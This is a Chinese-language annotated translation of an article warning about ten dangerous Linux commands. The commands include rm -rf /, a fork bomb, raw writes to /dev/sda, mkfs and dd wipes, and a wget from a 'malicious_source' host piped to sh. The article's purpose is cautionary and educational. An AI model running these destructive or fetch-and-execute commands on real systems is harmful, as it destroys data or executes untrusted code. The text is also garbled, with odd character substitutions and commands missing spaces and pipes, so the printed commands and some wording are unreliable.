慎用在Linux系統(tǒng)的命令 Linux的危險命令
Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什么時候。以下命令通常都是詒oot權(quán)限下才能將愚蠢發(fā)揮到極致;在普通用戶身份下,破壞的只是自己的一畝三分地喔!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點的敲錯或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm命令的選項。
rm命令在Linux下通常用來刪除文件。
rm-r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認(rèn)為此處應(yīng)該是說錯了,從常識看,應(yīng)該是“甚至是非空的文件夾”)
rm-f命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個參數(shù)只是表示不必一個個刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來要求刪除確認(rèn),而-f則抑制了這個提示。)
rm-rf/:強制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了……)
rm-rf*:強制刪除當(dāng)前目錄的所有文件。
rm-rf.:強制刪除當(dāng)前文件夾及其子文件夾。
從現(xiàn)在起,當(dāng)你要執(zhí)行rm-rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm-i的別名,來預(yù)防用‘rm‘命令刪除文件時的事故,它會要求你確認(rèn)每一個刪除請求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請這樣做,并在使用-f參數(shù)前一定考慮好你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2、:(){: :&};:命令
這就是個fork炸彈的實例。具體操作是通過定義一個名為‘:‘的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運行在后臺。它會反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實驗啊~~
3、命令>/dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個塊設(shè)備的數(shù)據(jù)丟失。
4、mv文件夾/dev/null
這個命令會移動某個‘文件夾‘到/dev/null。在Linux中/dev/null或null設(shè)備是一個特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動到黑洞,并不能阻止數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
上列命令會將User目錄所有內(nèi)容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞(null)之中。
5、wgethttp://malicious_source-O- sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意:你應(yīng)該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6、mkfs.ext3/dev/sda
上列命令會格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū)動器)會被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達到不可恢復(fù)的階段。(譯注:通常不會直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè)備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對塊設(shè)備或分區(qū)進行mkfs都是毀滅性的,上面的數(shù)據(jù)都會被蒸發(fā)了。)
7、>file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。不過請在執(zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似“>xt.conf”的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個命令在我們十個鮮為人知的Linux命令-Part3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當(dāng)用foobar命令時如果你沒有徹底檢查改變原始命令的風(fēng)險,這可能導(dǎo)致真正的麻煩。(譯注:事實上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時代遺留下來的無用而有害的“黑客”技巧。)
9、ddif=/dev/randomof=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個命令就是給了你一個徹底刪除的方法!當(dāng)然為了保險起見,你可以覆寫多次。)
10、隱藏命令
下面的命令其實就是上面第一個命令(rm-rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結(jié)果會怎樣。不要編譯/運行從未知來源的代碼。
